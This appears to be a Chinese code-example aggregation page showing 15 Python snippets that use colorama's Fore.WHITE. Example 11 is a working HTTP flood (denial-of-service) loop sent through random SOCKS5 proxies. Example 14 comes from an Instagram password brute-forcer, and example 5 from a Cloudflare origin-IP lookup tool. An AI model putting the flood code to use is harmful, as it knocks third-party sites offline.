当前位置: 首页>>代码示例>>Python>>正文


Python Fore.WHITE属性代码示例

本文整理汇总了Python中colorama.Fore.WHITE属性的典型用法代码示例。如果您正苦于以下问题:Python Fore.WHITE属性的具体用法?Python Fore.WHITE怎么用?Python Fore.WHITE使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在colorama.Fore的用法示例。


在下文中一共展示了Fore.WHITE属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: get_roll

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def get_roll(player_name, roll_names):
    try:
        print("Available rolls:")
        for index, r in enumerate(roll_names, start=1):
            print(f"{index}. {r}")

        text = input(f"{player_name}, what is your roll? ")
        if text is None or not text.strip():
            print("You must enter response")
            return None

        selected_index = int(text) - 1

        if selected_index < 0 or selected_index >= len(roll_names):
            print(f"Sorry {player_name}, {text} is out of bounds!")
            return None

        return roll_names[selected_index]
    except ValueError as ve:
        print(Fore.RED + f"Could not convert to integer: {ve}" + Fore.WHITE)
        return None 
开发者ID:talkpython,项目名称:python-for-absolute-beginners-course,代码行数:23,代码来源:rpsgame.py

示例2: GetCredentials

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def GetCredentials():
    global repoName
    global private
    global username
    global password

    if repoName == "":
        repoName = input("Enter a name for the GitHub repository: ")
    if private == "":
        private = input("Private GitHub repository (y/n): ")
    while private != False and private != True:
        if private == "y":
            private = True
        elif private == "n":
            private = False
        else:
            print("{}Invalid value.{}".format(Fore.YELLOW, Fore.WHITE))
            private = input("Private GitHub repository (y/n): ")
    if username == "":
        username = input("Enter your GitHub username: ")
    if username == "" or password == "":
        password = getpass.getpass("Enter your GitHub password: ")


# creates GitHub repo if credentials are valid 
开发者ID:jarodburchill,项目名称:project-automation,代码行数:27,代码来源:automate_project.py

示例3: CreateGitHubRepo

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def CreateGitHubRepo():
    global repoName
    global private
    global username
    global password
    GetCredentials()
    try:
        user = Github(username, password).get_user()
        user.create_repo(repoName, private=private)
        return True
    except Exception as e:
        repoName = ""
        username = ""
        password = ""
        private = ""
        print(Fore.RED + str(e) + Fore.WHITE)
        return False 
开发者ID:jarodburchill,项目名称:project-automation,代码行数:19,代码来源:automate_project.py

示例4: format

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def format(self, record):
        # add color
        if self.colors and record.levelname in COLORS:
            start = COLORS[record.levelname]
            record.levelname = start + record.levelname + Fore.RESET
            record.msg = Fore.WHITE + record.msg + Fore.RESET

        # add extras
        if self.extras:
            extras = merge_record_extra(record=record, target=dict(), reserved=RESERVED_ATTRS)
            record.extras = ', '.join('{}={}'.format(k, v) for k, v in extras.items())
            if record.extras:
                record.extras = Fore.MAGENTA + '({})'.format(record.extras) + Fore.RESET

        # hide traceback
        if not self.traceback:
            record.exc_text = None
            record.exc_info = None
            record.stack_info = None

        return super().format(record) 
开发者ID:dephell,项目名称:dephell,代码行数:23,代码来源:logging_helpers.py

示例5: crimeflare

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def crimeflare(target):
    print_out(Fore.CYAN + "Scanning crimeflare database...")

    with open("data/ipout", "r") as ins:
        crimeFoundArray = []
        for line in ins:
            lineExploded = line.split(" ")
            if lineExploded[1] == args.target:
                crimeFoundArray.append(lineExploded[2])
            else:
                continue
    if (len(crimeFoundArray) != 0):
        for foundIp in crimeFoundArray:
            print_out(Style.BRIGHT + Fore.WHITE + "[FOUND:IP] " + Fore.GREEN + "" + foundIp.strip())
    else:
        print_out("Did not find anything.") 
开发者ID:m0rtem,项目名称:CloudFail,代码行数:18,代码来源:cloudfail.py

示例6: controller_creatr

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def controller_creatr(filename):
    """Name of the controller file to be created"""

    path = os.path.abspath('.') + '/controller'
    if not os.path.exists(path):
        os.makedirs(path)

    # if os.path.isfile(path + )

    file_name = str(filename + '.py')
    if os.path.isfile(path + "/" + file_name):
        click.echo(Fore.WHITE + Back.RED + "ERROR: Controller file exists")
        return
    controller_file = open(os.path.abspath('.') + '/controller/' + file_name, 'w+')
    compose = "from bast import Controller\n\nclass " + filename + "(Controller):\n    pass"
    controller_file.write(compose)
    controller_file.close()
    click.echo(Fore.GREEN + "Controller " + filename + " created successfully") 
开发者ID:moluwole,项目名称:Bast,代码行数:20,代码来源:cli.py

示例7: cprint

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def cprint(type, msg, reset):
    colorama.init()
    message = {
        "action": Fore.YELLOW,
        "positive": Fore.GREEN + Style.BRIGHT,
        "info": Fore.YELLOW,
        "reset": Style.RESET_ALL,
        "red": Fore.RED,
        "white": Fore.WHITE,
        "green": Fore.GREEN,
        "yellow": Fore.YELLOW
    }
    style = message.get(type.lower())

    if type == "error":
        print("{0}\n[*] Error: {1}".format(Fore.RED + Style.BRIGHT, Style.RESET_ALL + Fore.WHITE + msg))
    else:
        print(style + msg, end="")
    if (reset == 1):
        print(Style.RESET_ALL) 
开发者ID:superhedgy,项目名称:AttackSurfaceMapper,代码行数:22,代码来源:subhunter.py

示例8: cprint

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def cprint(type, msg, reset):
    colorama.init()
    message = {
        "action": Fore.YELLOW,
        "positive": Fore.GREEN + Style.BRIGHT,
        "info": Fore.YELLOW,
        "reset": Style.RESET_ALL,
        "red": Fore.RED,
        "white": Fore.WHITE,
        "green": Fore.GREEN,
        "yellow": Fore.YELLOW
    }
    style = message.get(type.lower())


# A resolver wrapper around dnslib.py 
开发者ID:superhedgy,项目名称:AttackSurfaceMapper,代码行数:18,代码来源:subbrute.py

示例9: cprint

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def cprint(type, msg, reset):
    colorama.init()
    message = {
        "action": Fore.YELLOW,
        "positive": Fore.GREEN + Style.BRIGHT,
        "info": Fore.YELLOW,
        "reset": Style.RESET_ALL,
        "red": Fore.RED,
        "white": Fore.WHITE,
        "green": Fore.GREEN,
        "yellow": Fore.YELLOW
    }
    style = message.get(type.lower())

    if type == "error":
        print("{0}\n[*] Error: {1}".format(Fore.RED + Style.BRIGHT, Style.RESET_ALL + Fore.WHITE + msg))
    else:
        print(style + msg, end="")
    if reset == 1:
        print(Style.RESET_ALL)


# Print Results Function - 
开发者ID:superhedgy,项目名称:AttackSurfaceMapper,代码行数:25,代码来源:asm.py

示例10: on_minute

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def on_minute(conn, channel, bar):
    symbol = bar.symbol
    close = bar.close

    try:
        percent = (close - bar.dailyopen)/close  * 100
        up = 1 if bar.open > bar.dailyopen else -1
    except:  # noqa
        percent = 0
        up = 0

    if up > 0:
        bar_color = f'{Style.BRIGHT}{Fore.CYAN}'
    elif up < 0:
        bar_color = f'{Style.BRIGHT}{Fore.RED}'
    else:
        bar_color = f'{Style.BRIGHT}{Fore.WHITE}'

    print(f'{channel:<6s} {ms2date(bar.end)}  {bar.symbol:<10s} '
          f'{percent:>8.2f}% {bar.open:>8.2f} {bar.close:>8.2f} '
          f' {bar.volume:<10d}'
          f'  {(Fore.GREEN+"above VWAP") if close > bar.vwap else (Fore.RED+"below VWAP")}') 
开发者ID:alpacahq,项目名称:alpaca-trade-api-python,代码行数:24,代码来源:simpleStream.py

示例11: atk

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def atk(): #Socks Sent Requests
	ua = random.choice(useragent)
	request = "GET " + uu + "?=" + str(random.randint(1,100)) + " HTTP/1.1\r\nHost: " + url + "\r\nUser-Agent: "+ua+"\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n" #Code By GogoZin
	proxy = random.choice(lsts).strip().split(":")
	socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]))
	time.sleep(5)
	while True:
		try:
			s = socks.socksocket()
			s.connect((str(url), int(port)))
			if str(port) =='443':
				s = ssl.wrap_socket(s)
			s.send(str.encode(request))
			print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			try:
				for y in range(per):
					s.send(str.encode(request))
				print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			except:
				s.close()
		except:
			s.close() 
开发者ID:GogoZin,项目名称:Collapsar,代码行数:24,代码来源:collapsar.py

示例12: preprocess

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def preprocess(self):
        response = namedtuple('response', 'color label intl title')
        self.responses = {
            'pass': response(color=Fore.GREEN, label="PASS", intl='P', title="Passed      : "),
            'rule': response(color=Fore.RED, label="FAIL", intl='F', title="Failed      : "),
            'info': response(color=Fore.WHITE, label="INFO", intl='I', title="Info        : "),
            'skip': response(color=Fore.BLUE, label="SKIP", intl='S', title="Missing Deps: "),
            'fingerprint': response(color=Fore.YELLOW, label="FINGERPRINT", intl='P',
                                  title="Fingerprint : "),
            'metadata': response(color=Fore.YELLOW, label="META", intl='M', title="Metadata    : "),
            'metadata_key': response(color=Fore.MAGENTA, label="META", intl='K', title="Metadata Key: "),
            'exception': response(color=Fore.RED, label="EXCEPT", intl='E', title="Exceptions  : ")
        }

        self.counts = {}
        for key in self.responses:
            self.counts[key] = 0

        self.print_header("Progress:", Fore.CYAN)
        self.broker.add_observer(self.progress_bar, rule)
        self.broker.add_observer(self.progress_bar, condition)
        self.broker.add_observer(self.progress_bar, incident)
        self.broker.add_observer(self.progress_bar, parser) 
开发者ID:RedHatInsights,项目名称:insights-core,代码行数:25,代码来源:text.py

示例13: banner

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def banner():
    print(Style.DIM)
    print('     ___________________________')
    print('    /                           /\\')
    print('   /     sadboyzvone\'s        _/ /\\')
    print('  /        Intel 8080        / \/')
    print(' /         Assembler         /\\')
    print('/___________________________/ /')
    print('\___________________________\/')
    print(' \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\'
          + Style.RESET_ALL + Style.BRIGHT)
    print(Fore.WHITE + '\nPowered by ' + Fore.BLUE + 'Pyt'
          + Fore.YELLOW + 'hon' + Fore.WHITE
          + '\nCopyright (C) 2017, Zvonimir Rudinski')

# Print usage information 
开发者ID:sadboyzvone,项目名称:8080py,代码行数:18,代码来源:8080.py

示例14: stats_found

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def stats_found(self, password, attempts, browsers):
        self.stats(password, attempts, browsers, load=False)

        if self.__is_color:
            print('\n{0}[{1}!{0}] {2}Password Found{3}'.format(
                Fore.YELLOW, Fore.RED, Fore.WHITE, Fore.RESET
            ))

            print('{0}[{1}+{0}] {2}Username: {1}{3}{4}'.format(
                Fore.YELLOW, Fore.GREEN, Fore.WHITE, self.username.title(), Fore.RESET
            ))

            print('{0}[{1}+{0}] {2}Password: {1}{3}{4}'.format(
                Fore.YELLOW, Fore.GREEN, Fore.WHITE, password, Fore.RESET
            ))
        else:
            print('\n[!] Password Found\n[+] Username: {}\n[+] Password: {}'.format(
                self.username.title(), password
            ))

        sleep(self.delay) 
开发者ID:Pure-L0G1C,项目名称:Instagram,代码行数:23,代码来源:display.py

示例15: title

# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import WHITE [as 别名]
def title():
        print(Fore.WHITE + Style.BRIGHT + r"""
 __  __  _ __   ____  
/\ \/\ \/\`'__\/',__\ 
\ \ \_\ \ \ \//\__, `\
 \ \____/\ \_\\/\____/
  \/___/  \/_/ \/___/ 
""")

    ### Print Subreddit scraper title. 
开发者ID:JosephLai241,项目名称:URS,代码行数:12,代码来源:Titles.py


注:本文中的colorama.Fore.WHITE属性示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。